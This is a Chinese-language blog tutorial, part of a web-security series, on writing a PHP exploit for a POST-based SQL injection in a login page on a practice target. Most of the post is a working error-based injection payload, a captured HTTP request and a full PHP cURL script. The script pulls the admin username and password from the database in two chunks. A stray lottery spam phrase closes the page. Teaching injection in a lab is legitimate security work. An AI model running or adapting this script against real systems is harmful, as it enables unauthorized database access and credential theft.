?

Sep 27 2018

WEB安全第七章exp編寫二

首頁 » 原創作品 » WEB安全第七章exp編寫二   

WEB安全第七章exp編寫二 POST注入exp編寫


上一篇 WEB安全第七章exp編寫一 簡單的exp編寫

編寫的exp比較簡單,這一篇將會提高難度,將會編寫復雜一些的exp。

任何復雜的exp 都是由簡單的模塊組合而來的。 看起來復雜,實際上簡單。


1、POST注入編寫
打開暗月靶機測試系統 來到登錄頁面。

9.jpg


10.jpg

登錄頁面是存在一個SQL注入。利用代碼如下。


'and extractvalue(1, concat(0x7e,LENGTH((SELECT distinct concat (0x23,username,0x3a,password,0x23) FROM admin limit 0,1))))#



因為 使用 extractvalue函數只能報錯32長度的數據   通過上面語句 先獲取數據的長度 再使用 substring進行數據截取。

這次繼續用php來編寫exp  先用burpsuite 抓取數據包

    POST /login.php HTTP/1.1
    Host: target_sys.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Referer: http://target_sys.com/login.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 207
    Cookie: PHPSESSID=qknq733uhjge42eel2go9kpli0
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0

    username=%27and+extractvalue%281%2C+concat%280x7e%2CLENGTH%28%28SELECT+distinct+concat+%280x23%2Cusername%2C0x3a%2Cpassword%2C0x23%29+FROM+admin+limit+0%2C1%29%29%29%29%23&password=123456&submit=%E7%99%BB%E5%BD%95



這個部分需要變成php的數組。


username=%27and+extractvalue%281%2C+concat%280x7e%2CLENGTH%28%28SELECT+distinct+concat+%280x23%2Cusername%2C0x3a%2Cpassword%2C0x23%29+FROM+admin+limit+0%2C1%29%29%29%29%23&password=123456&submit=%E7%99%BB%E5%BD%95



可以轉變成這樣。



$post_data=array("username"=>"'and extractvalue(1, concat(0x7e,LENGTH((SELECT distinct concat (0x23,username,0x3a,password,0x23) FROM admin limit 0,1))))#","password"=>"password=123456","submit"=>"%E7%99%BB%E5%BD%95");



模擬post注入提交如下代碼



<?php
/**
     * 模擬post進行url請求
     * @param string $url
     * @param array $post_data
     */
    function request_post($url = '', $post_data = array()) {
        if (empty($url) || empty($post_data)) {
            return false;
        }
        
        $o = "";
        foreach ( $post_data as $k => $v ) 
        { 
            $o.= "$k=" . urlencode( $v ). "&" ;
        }
        $post_data = substr($o,0,-1);

        $postUrl = $url;
        $curlPost = $post_data;
        $ch = curl_init();//初始化curl
        curl_setopt($ch, CURLOPT_URL,$postUrl);//抓取指定網頁
        curl_setopt($ch, CURLOPT_HEADER, 0);//設置header
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求結果為字符串且輸出到屏幕上
        curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
        curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);
        $data = curl_exec($ch);//運行curl
        curl_close($ch);
        
        return $data;
    }
    #$post_data="username=%27and+extractvalue%281%2C+concat%280x7e%2CLENGTH%28%28SELECT+distinct+concat+%280x23%2Cusername%2C0x3a%2Cpassword%2C0x23%29+FROM+admin+limit+0%2C1%29%29%29%29%23&password=123456&submit=%E7%99%BB%E5%BD%95";
    $post_data=array("username"=>"'and extractvalue(1, concat(0x7e,LENGTH((SELECT distinct concat (0x23,username,0x3a,password,0x23) FROM admin limit 0,1))))#","password"=>"password=123456","submit"=>"%E7%99%BB%E5%BD%95");
    
    
    function get_strlen($url){
            $post_data=array("username"=>"'and extractvalue(1, concat(0x7e,LENGTH((SELECT distinct concat (0x23,username,0x3a,password,0x23) FROM admin limit 0,1))))#","password"=>"password=123456","submit"=>"%E7%99%BB%E5%BD%95");
            $html = request_post($url,$post_data);
            preg_match("/~(\d+)/", $html,$matches);
            return $matches[1];
            
    
    }
    
    $url = "http://target_sys.com/login.php";
    
    $lengstr = get_strlen($url);
    
   
    if($lengstr){
            $payload =array("username"=>"'and extractvalue(1, concat(0x7e,substring((SELECT distinct concat (0x23,username,0x3a,password,0x23) FROM admin limit 0,1),1,32)))#","password"=>"password=123456","submit"=>"%E7%99%BB%E5%BD%95");
                 $html = request_post($url,$payload);
                 preg_match("/~#(.*?)\'/", $html,$matches);
                 $m1 = $matches[1];
                 $payload2 =array("username"=>"'and extractvalue(1, concat(0x7e,substring((SELECT distinct concat (0x23,username,0x3a,password,0x23) FROM admin limit 0,1),32,{$lengstr})))#","password"=>"password=123456","submit"=>"%E7%99%BB%E5%BD%95");
            $html = request_post($url,$payload2);
            preg_match("/~#(.*?)\'/", $html,$matches);
            $m2 = $matches[1];
            echo "[+]".$m1.$m2."[+]";
    
    }else{
            echo "[-]error[-]";
    }
#         $html = request_post($url,$post_data);
#    print $html;
    


下載 exp.php  exp-2.rar


preg_match("/~#(.*?)\'/", $html,$matches);


這個部分是正則 出來的數據 可以理解成 如果成功的情況下 數據會在這個位置顯示出來 ,將會獲取。

12.png



如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: exp編寫

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «WEB安全第七章exp編寫三 | WEB安全第七章exp編寫一»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖